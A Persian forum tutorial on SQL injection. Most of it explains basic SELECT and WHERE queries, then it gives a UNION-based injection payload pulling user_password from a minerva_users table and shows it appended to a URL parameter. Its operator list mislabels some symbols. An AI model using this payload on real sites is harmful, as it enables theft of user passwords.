حملات SQL
همانطور که می دانید با دینامیک شدن سایت ها و بهره گیری از پایگاه های داده سبب شده است که کاربران زیادی برای ایجاد Account های خود به این سایت های مراجعه نمایند.و همین باعث شده که هکرها نیز به سمت این سایت های حمله ور شوند تا هم اطلاعات مدیر سایت و دیگر کاربران را به دست آورند.به همین جهت سعی به نفوذ به پایگاه داده سایت می کنند چون تمامی اطلاعات در فایلی به عنوان پایگاه اطلاعات ذخیره شده است.روشی که هکرها برای نفوذ به این قبیل از فایل ها توسط دستورات SQL انجام می دهند را حملات SQL Injection (تزریق کدهای اس کیو ال)می گویند و همانطور که تعریف شد هکر باید اطلاعاتی را در مورد دستورات SQl داشته باشد تا بتواند با سو استفاده از آنها به اطلاعات سایت مورد نظر دسترسی پیدا کند
در این بخش قصد داریم تا نگاهی مختصر بر روی این دستورات داشته باشیم


هنگام ساخت یک فایل داده(منظور همان فایل پایگاه داده) در اکسس یا هر برنامه ی دیگری ابتدا جدولی برای تعیین رکوردها و فیلدها تعریف می شود که تمامی اطلاعات در این جدول ذخیره می شود(چون جدول را می توان به عنوان صندوقی برای جاسازی اطلاعات در نظر گرفت)سپس فیلدها و رکوردها در آن تعریف می شوندو در آخرین مرحله فرد سازنده فایل سعی به ذخیره سازی اطلاعات در این رکوردها و یا به طور کلی در جداولی که تعریف کرده است می کند.حال حالتی را در نظر بگیرید که این فایل بر روی سایتی ذخیره شده است که پسورد و یوزرهای کاربران در آن ذخیره شده است پس ما برای استخراج این اطلاعات نیازمند فرامینی هستیم که به این دستورات که باعث استخراج اطلاعات از یک فایل داده می شود SQL می گویند
که یکی از مهمترین دستورات آن دستور Select می باشد که می توانید با فرم کلی زیر از آن استفاده نمایید
جدول From فیلد مورد نظر Select
به عنوان مثال اگر جدولی به نام Saied و فیلدی به نام User داشته باشد ما می توانیم با دستور زیر تمامی رکوردهای را که فیلد User در آنها وجود داشته پیمایش کرده و تمامی فیلدهای User مربوط به هر رکورد را نمایش دهد(یعنی به طور کلی لیستی از تمامی User های جدول را در اختیار ما قرار می دهد)
Select User from Saied
البته برای دستور فوق می توان محدودیت یا شرایطی را مطرح نمود که در ادامه به آنها می پردازیم
در صورتی که قصد استخراج تمامی فیلدهای جدول را داشته باشیم می توانیم از دستور فوق به صورت زیر استفاده نماییم
Select * From Saied
شاید حالتی پیش بیاید که ما فقط قصد دیدن تمامی مقدارهای فیلدهای User و Password را داشته باشیم و کاری به دیگر فیلدها نداشه باشیم پس می توانیم دستور Select را به صورت زیر اصلاح کنیم
Select User,Password From Saied
در سیستم عامل لینوکس یوزرها بر اساس نوع دسترسی به گروهای و زیر شاخه هایی تقسیم می شوند که هر یک شماره ی اختصاصی در گروه خاص خود دارد حال فرض کنید شخصی پیدا شده است و فایل داده ای را تعریف کرده که یوزرها بر اساس شماره های خود به صورت نزولی با صعودی مرتب شوند و ما قصد داریم کابرانی که شماره های آنها بالاتر از 500 است را از جدول Saied استخراج کنیم پس از دستور Where کمک می گیریم به صورت زیر
Select UIDUser From Saied Where UID>500
پس همانطوری که در دستور بالا مشخص شده ما می توانیم از عملگرهای مقایسه ای همچون:
=:مساوی
<>:نامساوی
=<:بزرگتر مساوی
=>:کوچکتر مساوی
>:کوچکتر
<:بزگنر
استفاده نماییم
توابع دیگری در زبان SQL وجود دارد که به دلیل جانبودن مطالب و خارج بودن آموزش کلی این زبان فقط به آنها اشاره کرده و کاربرد آنها را توضیح می دهیم(شما می توانید برای تسلط بر این زبان به کتاب های نوشته شده برای این زبان مراجعه نمایید)
MIN:کمترین مقدار یک ستون
Max:بیشترین مقدار یک ستون
SUM:جمع مقادیر یک ستون
AVG:میانگین یک ستون
بعد از این بخش شاید بپرسید که چگونه می توان از این دستورات در سایت ها استفاده کرد چون شما به قسمتی که برای وارد کردن این دستورات نیازمند هستید ندارید؟
در جواب این سوال باید عرض کنم که شما دقیقا به محل انها همیشه سر و کار دارید و آن بخش آدرس بار مروگر شما هست به عنوان مثال کد SQl زیر را می توان به سایت مورد نظر به صورت زیر Inject کرد(البته این کد یک حمله توسط SQL است)

-1/**/UNION/**/SELECT/**/0,1,2,3,4,user_password,6/**/FROM/**/minerva_users%20where%20user_id=2/*

نحوه ی Inject کردن کدها به یک سایت

[برای مشاهده لینک ها شما باید عضو سایت باشید برای عضویت در سایت بر روی اینجا کلیک بکنید] ?c=-1/**/UNION/**/SELECT/**/0,1,2,3,4,user_password,6/**/FROM/**/minerva_users%20where%20user_id=2